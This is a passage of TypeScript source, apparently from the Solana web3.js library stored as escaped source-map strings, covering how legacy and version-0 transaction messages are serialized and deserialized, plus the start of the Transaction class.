Buffer.from(keyIndicesCount),\n keyIndices: accounts,\n dataLength: Buffer.from(dataCount),\n data,\n };\n });\n\n let instructionCount: number[] = [];\n shortvec.encodeLength(instructionCount, instructions.length);\n let instructionBuffer = Buffer.alloc(PACKET_DATA_SIZE);\n Buffer.from(instructionCount).copy(instructionBuffer);\n let instructionBufferLength = instructionCount.length;\n\n instructions.forEach(instruction => {\n const instructionLayout = BufferLayout.struct<\n Readonly<{\n data: number[];\n dataLength: Uint8Array;\n keyIndices: number[];\n keyIndicesCount: Uint8Array;\n programIdIndex: number;\n }>\n >([\n BufferLayout.u8('programIdIndex'),\n\n BufferLayout.blob(\n instruction.keyIndicesCount.length,\n 'keyIndicesCount',\n ),\n BufferLayout.seq(\n BufferLayout.u8('keyIndex'),\n instruction.keyIndices.length,\n 'keyIndices',\n ),\n BufferLayout.blob(instruction.dataLength.length, 'dataLength'),\n BufferLayout.seq(\n BufferLayout.u8('userdatum'),\n instruction.data.length,\n 'data',\n ),\n ]);\n const length = instructionLayout.encode(\n instruction,\n instructionBuffer,\n instructionBufferLength,\n );\n instructionBufferLength += length;\n });\n instructionBuffer = instructionBuffer.slice(0, instructionBufferLength);\n\n const signDataLayout = BufferLayout.struct<\n Readonly<{\n keyCount: Uint8Array;\n keys: Uint8Array[];\n numReadonlySignedAccounts: Uint8Array;\n numReadonlyUnsignedAccounts: Uint8Array;\n numRequiredSignatures: Uint8Array;\n recentBlockhash: Uint8Array;\n }>\n >([\n BufferLayout.blob(1, 'numRequiredSignatures'),\n BufferLayout.blob(1, 'numReadonlySignedAccounts'),\n BufferLayout.blob(1, 'numReadonlyUnsignedAccounts'),\n BufferLayout.blob(keyCount.length, 'keyCount'),\n BufferLayout.seq(Layout.publicKey('key'), numKeys, 'keys'),\n Layout.publicKey('recentBlockhash'),\n ]);\n\n const transaction = {\n numRequiredSignatures: Buffer.from([this.header.numRequiredSignatures]),\n numReadonlySignedAccounts: Buffer.from([\n this.header.numReadonlySignedAccounts,\n ]),\n numReadonlyUnsignedAccounts: Buffer.from([\n this.header.numReadonlyUnsignedAccounts,\n ]),\n keyCount: Buffer.from(keyCount),\n keys: this.accountKeys.map(key => toBuffer(key.toBytes())),\n recentBlockhash: bs58.decode(this.recentBlockhash),\n };\n\n let signData = Buffer.alloc(2048);\n const length = signDataLayout.encode(transaction, signData);\n instructionBuffer.copy(signData, length);\n return signData.slice(0, length + instructionBuffer.length);\n }\n\n /**\n * Decode a compiled message into a Message object.\n */\n static from(buffer: Buffer | Uint8Array | Array<number>): Message {\n // Slice up wire data\n let byteArray = [...buffer];\n\n const numRequiredSignatures = guardedShift(byteArray);\n if (\n numRequiredSignatures !==\n (numRequiredSignatures & VERSION_PREFIX_MASK)\n ) {\n throw new Error(\n 'Versioned messages must be deserialized with VersionedMessage.deserialize()',\n );\n }\n\n const numReadonlySignedAccounts = guardedShift(byteArray);\n const numReadonlyUnsignedAccounts = guardedShift(byteArray);\n\n const accountCount = shortvec.decodeLength(byteArray);\n let accountKeys = [];\n for (let i = 0; i < accountCount; i++) {\n const account = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH);\n accountKeys.push(new PublicKey(Buffer.from(account)));\n }\n\n const recentBlockhash = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH);\n\n const instructionCount = shortvec.decodeLength(byteArray);\n let instructions: CompiledInstruction[] = [];\n for (let i = 0; i < instructionCount; i++) {\n const programIdIndex = guardedShift(byteArray);\n const accountCount = shortvec.decodeLength(byteArray);\n const accounts = guardedSplice(byteArray, 0, accountCount);\n const dataLength = shortvec.decodeLength(byteArray);\n const dataSlice = guardedSplice(byteArray, 0, dataLength);\n const data = bs58.encode(Buffer.from(dataSlice));\n instructions.push({\n programIdIndex,\n accounts,\n data,\n });\n }\n\n const messageArgs = {\n header: {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n },\n recentBlockhash: bs58.encode(Buffer.from(recentBlockhash)),\n accountKeys,\n instructions,\n };\n\n return new Message(messageArgs);\n }\n}\n","import bs58 from 'bs58';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from '../layout';\nimport {Blockhash} from '../blockhash';\nimport {\n MessageHeader,\n MessageAddressTableLookup,\n MessageCompiledInstruction,\n} from './index';\nimport {PublicKey, PUBLIC_KEY_LENGTH} from '../publickey';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport assert from '../utils/assert';\nimport {PACKET_DATA_SIZE, VERSION_PREFIX_MASK} from '../transaction/constants';\nimport {TransactionInstruction} from '../transaction';\nimport {AddressLookupTableAccount} from '../programs';\nimport {CompiledKeys} from './compiled-keys';\nimport {AccountKeysFromLookups, MessageAccountKeys} from './account-keys';\nimport {guardedShift, guardedSplice} from '../utils/guarded-array-utils';\n\n/**\n * Message constructor arguments\n */\nexport type MessageV0Args = {\n /** The message header, identifying signed and read-only `accountKeys` */\n header: MessageHeader;\n /** The static account keys used by this transaction */\n staticAccountKeys: PublicKey[];\n /** The hash of a recent ledger block */\n recentBlockhash: Blockhash;\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n compiledInstructions: MessageCompiledInstruction[];\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n addressTableLookups: MessageAddressTableLookup[];\n};\n\nexport type CompileV0Args = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n addressLookupTableAccounts?: Array<AddressLookupTableAccount>;\n};\n\nexport type GetAccountKeysArgs =\n | {\n accountKeysFromLookups?: AccountKeysFromLookups | null;\n }\n | {\n addressLookupTableAccounts?: AddressLookupTableAccount[] | null;\n };\n\nexport class MessageV0 {\n header: MessageHeader;\n staticAccountKeys: Array<PublicKey>;\n recentBlockhash: Blockhash;\n compiledInstructions: Array<MessageCompiledInstruction>;\n addressTableLookups: Array<MessageAddressTableLookup>;\n\n constructor(args: MessageV0Args) {\n this.header = args.header;\n this.staticAccountKeys = args.staticAccountKeys;\n this.recentBlockhash = args.recentBlockhash;\n this.compiledInstructions = args.compiledInstructions;\n this.addressTableLookups = args.addressTableLookups;\n }\n\n get version(): 0 {\n return 0;\n }\n\n get numAccountKeysFromLookups(): number {\n let count = 0;\n for (const lookup of this.addressTableLookups) {\n count += lookup.readonlyIndexes.length + lookup.writableIndexes.length;\n }\n return count;\n }\n\n getAccountKeys(args?: GetAccountKeysArgs): MessageAccountKeys {\n let accountKeysFromLookups: AccountKeysFromLookups | undefined;\n if (\n args &&\n 'accountKeysFromLookups' in args &&\n args.accountKeysFromLookups\n ) {\n if (\n this.numAccountKeysFromLookups !=\n args.accountKeysFromLookups.writable.length +\n args.accountKeysFromLookups.readonly.length\n ) {\n throw new Error(\n 'Failed to get account keys because of a mismatch in the number of account keys from lookups',\n );\n }\n accountKeysFromLookups = args.accountKeysFromLookups;\n } else if (\n args &&\n 'addressLookupTableAccounts' in args &&\n args.addressLookupTableAccounts\n ) {\n accountKeysFromLookups = this.resolveAddressTableLookups(\n args.addressLookupTableAccounts,\n );\n } else if (this.addressTableLookups.length > 0) {\n throw new Error(\n 'Failed to get account keys because address table lookups were not resolved',\n );\n }\n return new MessageAccountKeys(\n this.staticAccountKeys,\n accountKeysFromLookups,\n );\n }\n\n isAccountSigner(index: number): boolean {\n return index < this.header.numRequiredSignatures;\n }\n\n isAccountWritable(index: number): boolean {\n const numSignedAccounts = this.header.numRequiredSignatures;\n const numStaticAccountKeys = this.staticAccountKeys.length;\n if (index >= numStaticAccountKeys) {\n const lookupAccountKeysIndex = index - numStaticAccountKeys;\n const numWritableLookupAccountKeys = this.addressTableLookups.reduce(\n (count, lookup) => count + lookup.writableIndexes.length,\n 0,\n );\n return lookupAccountKeysIndex < numWritableLookupAccountKeys;\n } else if (index >= this.header.numRequiredSignatures) {\n const unsignedAccountIndex = index - numSignedAccounts;\n const numUnsignedAccounts = numStaticAccountKeys - numSignedAccounts;\n const numWritableUnsignedAccounts =\n numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts;\n return unsignedAccountIndex < numWritableUnsignedAccounts;\n } else {\n const numWritableSignedAccounts =\n numSignedAccounts - this.header.numReadonlySignedAccounts;\n return index < numWritableSignedAccounts;\n }\n }\n\n resolveAddressTableLookups(\n addressLookupTableAccounts: AddressLookupTableAccount[],\n ): AccountKeysFromLookups {\n const accountKeysFromLookups: AccountKeysFromLookups = {\n writable: [],\n readonly: [],\n };\n\n for (const tableLookup of this.addressTableLookups) {\n const tableAccount = addressLookupTableAccounts.find(account =>\n account.key.equals(tableLookup.accountKey),\n );\n if (!tableAccount) {\n throw new Error(\n `Failed to find address lookup table account for table key ${tableLookup.accountKey.toBase58()}`,\n );\n }\n\n for (const index of tableLookup.writableIndexes) {\n if (index < tableAccount.state.addresses.length) {\n accountKeysFromLookups.writable.push(\n tableAccount.state.addresses[index],\n );\n } else {\n throw new Error(\n `Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`,\n );\n }\n }\n\n for (const index of tableLookup.readonlyIndexes) {\n if (index < tableAccount.state.addresses.length) {\n accountKeysFromLookups.readonly.push(\n tableAccount.state.addresses[index],\n );\n } else {\n throw new Error(\n `Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`,\n );\n }\n }\n }\n\n return accountKeysFromLookups;\n }\n\n static compile(args: CompileV0Args): MessageV0 {\n const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey);\n\n const addressTableLookups = new Array<MessageAddressTableLookup>();\n const accountKeysFromLookups: AccountKeysFromLookups = {\n writable: new Array(),\n readonly: new Array(),\n };\n const lookupTableAccounts = args.addressLookupTableAccounts || [];\n for (const lookupTable of lookupTableAccounts) {\n const extractResult = compiledKeys.extractTableLookup(lookupTable);\n if (extractResult !== undefined) {\n const [addressTableLookup, {writable, readonly}] = extractResult;\n addressTableLookups.push(addressTableLookup);\n accountKeysFromLookups.writable.push(...writable);\n accountKeysFromLookups.readonly.push(...readonly);\n }\n }\n\n const [header, staticAccountKeys] = compiledKeys.getMessageComponents();\n const accountKeys = new MessageAccountKeys(\n staticAccountKeys,\n accountKeysFromLookups,\n );\n const compiledInstructions = accountKeys.compileInstructions(\n args.instructions,\n );\n return new MessageV0({\n header,\n staticAccountKeys,\n recentBlockhash: args.recentBlockhash,\n compiledInstructions,\n addressTableLookups,\n });\n }\n\n serialize(): Uint8Array {\n const encodedStaticAccountKeysLength = Array<number>();\n shortvec.encodeLength(\n encodedStaticAccountKeysLength,\n this.staticAccountKeys.length,\n );\n\n const serializedInstructions = this.serializeInstructions();\n const encodedInstructionsLength = Array<number>();\n shortvec.encodeLength(\n encodedInstructionsLength,\n this.compiledInstructions.length,\n );\n\n const serializedAddressTableLookups = this.serializeAddressTableLookups();\n const encodedAddressTableLookupsLength = Array<number>();\n shortvec.encodeLength(\n encodedAddressTableLookupsLength,\n this.addressTableLookups.length,\n );\n\n const messageLayout = BufferLayout.struct<{\n prefix: number;\n header: MessageHeader;\n staticAccountKeysLength: Uint8Array;\n staticAccountKeys: Array<Uint8Array>;\n recentBlockhash: Uint8Array;\n instructionsLength: Uint8Array;\n serializedInstructions: Uint8Array;\n addressTableLookupsLength: Uint8Array;\n serializedAddressTableLookups: Uint8Array;\n }>([\n BufferLayout.u8('prefix'),\n BufferLayout.struct<MessageHeader>(\n [\n BufferLayout.u8('numRequiredSignatures'),\n BufferLayout.u8('numReadonlySignedAccounts'),\n BufferLayout.u8('numReadonlyUnsignedAccounts'),\n ],\n 'header',\n ),\n BufferLayout.blob(\n encodedStaticAccountKeysLength.length,\n 'staticAccountKeysLength',\n ),\n BufferLayout.seq(\n Layout.publicKey(),\n this.staticAccountKeys.length,\n 'staticAccountKeys',\n ),\n Layout.publicKey('recentBlockhash'),\n BufferLayout.blob(encodedInstructionsLength.length, 'instructionsLength'),\n BufferLayout.blob(\n serializedInstructions.length,\n 'serializedInstructions',\n ),\n BufferLayout.blob(\n encodedAddressTableLookupsLength.length,\n 'addressTableLookupsLength',\n ),\n BufferLayout.blob(\n serializedAddressTableLookups.length,\n 'serializedAddressTableLookups',\n ),\n ]);\n\n const serializedMessage = new Uint8Array(PACKET_DATA_SIZE);\n const MESSAGE_VERSION_0_PREFIX = 1 << 7;\n const serializedMessageLength = messageLayout.encode(\n {\n prefix: MESSAGE_VERSION_0_PREFIX,\n header: this.header,\n staticAccountKeysLength: new Uint8Array(encodedStaticAccountKeysLength),\n staticAccountKeys: this.staticAccountKeys.map(key => key.toBytes()),\n recentBlockhash: bs58.decode(this.recentBlockhash),\n instructionsLength: new Uint8Array(encodedInstructionsLength),\n serializedInstructions,\n addressTableLookupsLength: new Uint8Array(\n encodedAddressTableLookupsLength,\n ),\n serializedAddressTableLookups,\n },\n serializedMessage,\n );\n return serializedMessage.slice(0, serializedMessageLength);\n }\n\n private serializeInstructions(): Uint8Array {\n let serializedLength = 0;\n const serializedInstructions = new Uint8Array(PACKET_DATA_SIZE);\n for (const instruction of this.compiledInstructions) {\n const encodedAccountKeyIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedAccountKeyIndexesLength,\n instruction.accountKeyIndexes.length,\n );\n\n const encodedDataLength = Array<number>();\n shortvec.encodeLength(encodedDataLength, instruction.data.length);\n\n const instructionLayout = BufferLayout.struct<{\n programIdIndex: number;\n encodedAccountKeyIndexesLength: Uint8Array;\n accountKeyIndexes: number[];\n encodedDataLength: Uint8Array;\n data: Uint8Array;\n }>([\n BufferLayout.u8('programIdIndex'),\n BufferLayout.blob(\n encodedAccountKeyIndexesLength.length,\n 'encodedAccountKeyIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n instruction.accountKeyIndexes.length,\n 'accountKeyIndexes',\n ),\n BufferLayout.blob(encodedDataLength.length, 'encodedDataLength'),\n BufferLayout.blob(instruction.data.length, 'data'),\n ]);\n\n serializedLength += instructionLayout.encode(\n {\n programIdIndex: instruction.programIdIndex,\n encodedAccountKeyIndexesLength: new Uint8Array(\n encodedAccountKeyIndexesLength,\n ),\n accountKeyIndexes: instruction.accountKeyIndexes,\n encodedDataLength: new Uint8Array(encodedDataLength),\n data: instruction.data,\n },\n serializedInstructions,\n serializedLength,\n );\n }\n\n return serializedInstructions.slice(0, serializedLength);\n }\n\n private serializeAddressTableLookups(): Uint8Array {\n let serializedLength = 0;\n const serializedAddressTableLookups = new Uint8Array(PACKET_DATA_SIZE);\n for (const lookup of this.addressTableLookups) {\n const encodedWritableIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedWritableIndexesLength,\n lookup.writableIndexes.length,\n );\n\n const encodedReadonlyIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedReadonlyIndexesLength,\n lookup.readonlyIndexes.length,\n );\n\n const addressTableLookupLayout = BufferLayout.struct<{\n accountKey: Uint8Array;\n encodedWritableIndexesLength: Uint8Array;\n writableIndexes: number[];\n encodedReadonlyIndexesLength: Uint8Array;\n readonlyIndexes: number[];\n }>([\n Layout.publicKey('accountKey'),\n BufferLayout.blob(\n encodedWritableIndexesLength.length,\n 'encodedWritableIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n lookup.writableIndexes.length,\n 'writableIndexes',\n ),\n BufferLayout.blob(\n encodedReadonlyIndexesLength.length,\n 'encodedReadonlyIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n lookup.readonlyIndexes.length,\n 'readonlyIndexes',\n ),\n ]);\n\n serializedLength += addressTableLookupLayout.encode(\n {\n accountKey: lookup.accountKey.toBytes(),\n encodedWritableIndexesLength: new Uint8Array(\n encodedWritableIndexesLength,\n ),\n writableIndexes: lookup.writableIndexes,\n encodedReadonlyIndexesLength: new Uint8Array(\n encodedReadonlyIndexesLength,\n ),\n readonlyIndexes: lookup.readonlyIndexes,\n },\n serializedAddressTableLookups,\n serializedLength,\n );\n }\n\n return serializedAddressTableLookups.slice(0, serializedLength);\n }\n\n static deserialize(serializedMessage: Uint8Array): MessageV0 {\n let byteArray = [...serializedMessage];\n\n const prefix = guardedShift(byteArray);\n const maskedPrefix = prefix & VERSION_PREFIX_MASK;\n assert(\n prefix !== maskedPrefix,\n `Expected versioned message but received legacy message`,\n );\n\n const version = maskedPrefix;\n assert(\n version === 0,\n `Expected versioned message with version 0 but found version ${version}`,\n );\n\n const header: MessageHeader = {\n numRequiredSignatures: guardedShift(byteArray),\n numReadonlySignedAccounts: guardedShift(byteArray),\n numReadonlyUnsignedAccounts: guardedShift(byteArray),\n };\n\n const staticAccountKeys = [];\n const staticAccountKeysLength = shortvec.decodeLength(byteArray);\n for (let i = 0; i < staticAccountKeysLength; i++) {\n staticAccountKeys.push(\n new PublicKey(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH)),\n );\n }\n\n const recentBlockhash = bs58.encode(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n\n const instructionCount = shortvec.decodeLength(byteArray);\n const compiledInstructions: MessageCompiledInstruction[] = [];\n for (let i = 0; i < instructionCount; i++) {\n const programIdIndex = guardedShift(byteArray);\n const accountKeyIndexesLength = shortvec.decodeLength(byteArray);\n const accountKeyIndexes = guardedSplice(\n byteArray,\n 0,\n accountKeyIndexesLength,\n );\n const dataLength = shortvec.decodeLength(byteArray);\n const data = new Uint8Array(guardedSplice(byteArray, 0, dataLength));\n compiledInstructions.push({\n programIdIndex,\n accountKeyIndexes,\n data,\n });\n }\n\n const addressTableLookupsCount = shortvec.decodeLength(byteArray);\n const addressTableLookups: MessageAddressTableLookup[] = [];\n for (let i = 0; i < addressTableLookupsCount; i++) {\n const accountKey = new PublicKey(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n const writableIndexesLength = shortvec.decodeLength(byteArray);\n const writableIndexes = guardedSplice(\n byteArray,\n 0,\n writableIndexesLength,\n );\n const readonlyIndexesLength = shortvec.decodeLength(byteArray);\n const readonlyIndexes = guardedSplice(\n byteArray,\n 0,\n readonlyIndexesLength,\n );\n addressTableLookups.push({\n accountKey,\n writableIndexes,\n readonlyIndexes,\n });\n }\n\n return new MessageV0({\n header,\n staticAccountKeys,\n recentBlockhash,\n compiledInstructions,\n addressTableLookups,\n });\n }\n}\n","import {VERSION_PREFIX_MASK} from '../transaction/constants';\nimport {Message} from './legacy';\nimport {MessageV0} from './v0';\n\nexport type VersionedMessage = Message | MessageV0;\n// eslint-disable-next-line no-redeclare\nexport const VersionedMessage = {\n deserializeMessageVersion(serializedMessage: Uint8Array): 'legacy' | number {\n const prefix = serializedMessage[0];\n const maskedPrefix = prefix & VERSION_PREFIX_MASK;\n\n // if the highest bit of the prefix is not set, the message is not versioned\n if (maskedPrefix === prefix) {\n return 'legacy';\n }\n\n // the lower 7 bits of the prefix indicate the message version\n return maskedPrefix;\n },\n\n deserialize: (serializedMessage: Uint8Array): VersionedMessage => {\n const version =\n VersionedMessage.deserializeMessageVersion(serializedMessage);\n if (version === 'legacy') {\n return Message.from(serializedMessage);\n }\n\n if (version === 0) {\n return MessageV0.deserialize(serializedMessage);\n } else {\n throw new Error(\n `Transaction message version ${version} deserialization is not supported`,\n );\n }\n },\n};\n","import bs58 from 'bs58';\nimport {Buffer} from 'buffer';\n\nimport {PACKET_DATA_SIZE, SIGNATURE_LENGTH_IN_BYTES} from './constants';\nimport {Connection} from '../connection';\nimport {Message} from '../message';\nimport {PublicKey} from '../publickey';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport {toBuffer} from '../utils/to-buffer';\nimport invariant from '../utils/assert';\nimport type {Signer} from '../keypair';\nimport type {Blockhash} from '../blockhash';\nimport type {CompiledInstruction} from '../message';\nimport {sign, verify} from '../utils/ed25519';\nimport {guardedSplice} from '../utils/guarded-array-utils';\n\n/** @internal */\ntype MessageSignednessErrors = {\n invalid?: PublicKey[];\n missing?: PublicKey[];\n};\n\n/**\n * Transaction signature as base-58 encoded string\n */\nexport type TransactionSignature = string;\n\nexport const enum TransactionStatus {\n BLOCKHEIGHT_EXCEEDED,\n PROCESSED,\n TIMED_OUT,\n NONCE_INVALID,\n}\n\n/**\n * Default (empty) signature\n */\nconst DEFAULT_SIGNATURE = Buffer.alloc(SIGNATURE_LENGTH_IN_BYTES).fill(0);\n\n/**\n * Account metadata used to define instructions\n */\nexport type AccountMeta = {\n /** An account's public key */\n pubkey: PublicKey;\n /** True if an instruction requires a transaction signature matching `pubkey` */\n isSigner: boolean;\n /** True if the `pubkey` can be loaded as a read-write account. */\n isWritable: boolean;\n};\n\n/**\n * List of TransactionInstruction object fields that may be initialized at construction\n */\nexport type TransactionInstructionCtorFields = {\n keys: Array<AccountMeta>;\n programId: PublicKey;\n data?: Buffer;\n};\n\n/**\n * Configuration object for Transaction.serialize()\n */\nexport type SerializeConfig = {\n /** Require all transaction signatures be present (default: true) */\n requireAllSignatures?: boolean;\n /** Verify provided signatures (default: true) */\n verifySignatures?: boolean;\n};\n\n/**\n * @internal\n */\nexport interface TransactionInstructionJSON {\n keys: {\n pubkey: string;\n isSigner: boolean;\n isWritable: boolean;\n }[];\n programId: string;\n data: number[];\n}\n\n/**\n * Transaction Instruction class\n */\nexport class TransactionInstruction {\n /**\n * Public keys to include in this transaction\n * Boolean represents whether this pubkey needs to sign the transaction\n */\n keys: Array<AccountMeta>;\n\n /**\n * Program Id to execute\n */\n programId: PublicKey;\n\n /**\n * Program input\n */\n data: Buffer = Buffer.alloc(0);\n\n constructor(opts: TransactionInstructionCtorFields) {\n this.programId = opts.programId;\n this.keys = opts.keys;\n if (opts.data) {\n this.data = opts.data;\n }\n }\n\n /**\n * @internal\n */\n toJSON(): TransactionInstructionJSON {\n return {\n keys: this.keys.map(({pubkey, isSigner, isWritable}) => ({\n pubkey: pubkey.toJSON(),\n isSigner,\n isWritable,\n })),\n programId: this.programId.toJSON(),\n data: [...this.data],\n };\n }\n}\n\n/**\n * Pair of signature and corresponding public key\n */\nexport type SignaturePubkeyPair = {\n signature: Buffer | null;\n publicKey: PublicKey;\n};\n\n/**\n * List of Transaction object fields that may be initialized at construction\n */\nexport type TransactionCtorFields_DEPRECATED = {\n /** Optional nonce information used for offline nonce'd transactions */\n nonceInfo?: NonceInformation | null;\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n /** A recent blockhash */\n recentBlockhash?: Blockhash;\n};\n\n// For backward compatibility; an unfortunate consequence of being\n// forced to over-export types by the documentation generator.\n// See https://github.com/solana-labs/solana/pull/25820\nexport type TransactionCtorFields = TransactionCtorFields_DEPRECATED;\n\n/**\n * Blockhash-based transactions have a lifetime that are defined by\n * the blockhash they include. Any transaction whose blockhash is\n * too old will be rejected.\n */\nexport type TransactionBlockhashCtor = {\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n /** A recent blockhash */\n blockhash: Blockhash;\n /** the last block chain can advance to before tx is declared expired */\n lastValidBlockHeight: number;\n};\n\n/**\n * Use these options to construct a durable nonce transaction.\n */\nexport type TransactionNonceCtor = {\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n minContextSlot: number;\n nonceInfo: NonceInformation;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n};\n\n/**\n * Nonce information to be used to build an offline Transaction.\n */\nexport type NonceInformation = {\n /** The current blockhash stored in the nonce */\n nonce: Blockhash;\n /** AdvanceNonceAccount Instruction */\n nonceInstruction: TransactionInstruction;\n};\n\n/**\n * @internal\n */\nexport interface TransactionJSON {\n recentBlockhash: string | null;\n feePayer: string | null;\n nonceInfo: {\n nonce: string;\n nonceInstruction: TransactionInstructionJSON;\n } | null;\n instructions: TransactionInstructionJSON[];\n signers: string[];\n}\n\n/**\n * Transaction class\n */\nexport class Transaction {\n /**\n * Signatures for the transaction. Typically created by invoking the\n * `sign()` method\n */\n signatures: Array<SignaturePubkeyPair> = [];\n\n /**\n * The first (payer) Transaction signature\n *\n * @returns {Buffer | null} Buffer of payer's signature\n */\n get signature(): Buffer | null {\n if (this.signatures.length > 0) {\n return this.signatures[0].signature;\n }\n return null;\n }\n\n /**\n * The transaction fee payer\n */\n feePayer?: PublicKey;\n\n /**\n * The instructions to atomically execute\n */\n instructions: Array<TransactionInstruction> = [];\n\n /**\n * A recent transaction id. Must be populated by the caller\n */\n recentBlockhash?: Blockhash;\n\n /**\n * the last block chain can advance to before tx is declared expired\n * */\n lastValidBlockHeight?: number;\n\n /**\n * Optional Nonce information. If populated, transaction will use a durable\n * Nonce hash instead of a recentBlockhash. Must be populated by the caller\n */\n nonceInfo?: NonceInformation;\n\n /**\n * If this is a nonce transaction this represents the minimum slot from which\n * to evaluate if the nonce has advanced when attempting to confirm the\n * transaction. This protects against a case where the transaction confirmation\n * logic loads the nonce account from an old slot and assumes the mismatch in\n * nonce value implies that the nonce has been advanced.\n */\n minNonceContextSlot?: number;\n\n /**\n * @internal\n */\n _message?: Message;\n\n /**\n * @internal\n */\n _json?: TransactionJSON;\n\n // Construct a transaction with a blockhash and lastValidBlockHeight\n constructor(opts?: TransactionBlockhashCtor);\n\n // Construct a transaction using a durable nonce\n constructor(opts?: TransactionNonceCtor);\n\n /**\n * @deprecated `TransactionCtorFields` has been deprecated and will be removed in a future version.\n * Please supply a `TransactionBlockhashCtor` instead.\n */\n constructor(opts?: TransactionCtorFields_DEPRECATED);\n\n /**\n * Construct an empty Transaction\n */\n constructor(\n opts?:\n | TransactionBlockhashCtor\n | TransactionNonceCtor\n | TransactionCtorFields_DEPRECATED,\n ) {\n if (!opts) {\n return;\n }\n if (opts.feePayer) {\n this.feePayer = opts.feePayer;\n }\n if (opts.signatures) {\n this.signatures = opts.signatures;\n }\n if (Object.prototype.hasOwnProperty.call(opts, 'nonceInfo')) {\n const {minContextSlot, nonceInfo} = opts as TransactionNonceCtor;\n this.minNonceContextSlot = minContextSlot;\n this.nonceInfo = nonceInfo;\n } else if (\n Object.prototype.hasOwnProperty.call(opts, 'lastValidBlockHeight')\n ) {\n const {blockhash, lastValidBlockHeight} =\n opts as TransactionBlockhashCtor;\n this.recentBlockhash = blockhash;\n this.lastValidBlockHeight = lastValidBlockHeight;\n } else {\n const {recentBlockhash, nonceInfo} =\n opts as TransactionCtorFields_DEPRECATED;\n if (nonceInfo) {\n this.nonceInfo = nonceInfo;\n }\n this.recentBlockhash = recentBlockhash;\n }\n }\n\n /**\n * @internal\n */\n toJSON(): TransactionJSON {\n return {\n recentBlockhash: this.recentBlockhash || null,\n feePayer: this.feePayer ? this.feePayer.toJSON() : null,\n nonceInfo: this.nonceInfo\n ? {\n nonce: this.nonceInfo.nonce,\n nonceInstruction: this.nonceInfo.nonceInstruction.toJSON(),\n }\n : null,\n instructions: this.instructions.map(instruction => instruction.toJSON()),\n signers: this.signatures.map(({publicKey}) => {\n return publicKey.toJSON();\n }),\n };\n }\n\n /**\n * Add one or more instructions to this Transaction\n *\n * @param {Array< Transaction | TransactionInstruction | TransactionInstructionCtorFields >} items - Instructions to add to the Transaction\n */\n add(\n ...items: Array<\n Transaction | TransactionInstruction | TransactionInstructionCtorFields\n >\n ): Transaction {\n if (items.length === 0) {\n throw new Error('No instructions');\n }\n\n items.forEach((item: any) => {\n if ('instructions' in item) {\n this.instructions = this.instructions.concat(item.instructions);\n } else if ('data' in item && 'programId' in item && 'keys' in item) {\n this.instructions.push(item);\n } else {\n this.instructions.push(new TransactionInstruction(item));\n }\n });\n return this;\n }\n\n /**\n * Compile transaction data\n */\n compileMessage(): Message {\n if (\n this._message &&\n JSON.stringify(this.toJSON()) === JSON.stringify(this._json)\n ) {\n return this._message;\n }\n\n let recentBlockhash;\n let instructions: TransactionInstruction[];\n if (this.nonceInfo) {\n recentBlockhash = this.nonceInfo.nonce;\n if (this.instructions[0] != this.nonceInfo.nonceInstruction) {\n instructions = [this.nonceInfo.nonceInstruction, ...this.instructions];\n } else {\n instructions = this.instructions;\n }\n } else {\n recentBlockhash = this.recentBlockhash;\n instructions = this.instructions;\n }\n if (!recentBlockhash) {\n throw new Error('Transaction recentBlockhash required');\n }\n\n if (instructions.length < 1) {\n console.warn('No instructions provided');\n }\n\n let feePayer: PublicKey;\n if (this.feePayer) {\n feePayer = this.feePayer;\n } else if (this.signatures.length > 0 && this.signatures[0].publicKey) {\n // Use implicit fee payer\n feePayer = this.signatures[0].publicKey;\n } else {\n throw new Error('Transaction fee payer required');\n }\n\n for (let i = 0; i < instructions.length; i++) {\n if (instructions[i].programId === undefined) {\n throw new Error(\n `Transaction instruction index ${i} has undefined program id`,\n );\n }\n }\n\n const programIds: string[] = [];\n const accountMetas: AccountMeta[] = [];\n instructions.forEach(instruction => {\n instruction.keys.forEach(accountMeta => {\n accountMetas.push({...accountMeta});\n });\n\n const programId = instruction.programId.toString();\n if (!programIds.includes(programId)) {\n programIds.push(programId);\n }\n });\n\n // Append programID account metas\n programIds.forEach(programId => {\n accountMetas.push({\n pubkey: new PublicKey(programId),\n isSigner: false,\n isWritable: false,\n });\n });\n\n // Cull duplicate account metas\n const uniqueMetas: AccountMeta[] = [];\n accountMetas.forEach(accountMeta => {\n const pubkeyString = accountMeta.pubkey.toString();\n const uniqueIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.toString() === pubkeyString;\n });\n if (uniqueIndex > -1) {\n uniqueMetas[uniqueIndex].isWritable =\n uniqueMetas[uniqueIndex].isWritable || accountMeta.isWritable;\n uniqueMetas[uniqueIndex].isSigner =\n uniqueMetas[uniqueIndex].isSigner || accountMeta.isSigner;\n } else {\n uniqueMetas.push(accountMeta);\n }\n });\n\n // Sort. Prioritizing first by signer, then by writable\n uniqueMetas.sort(function (x, y) {\n if 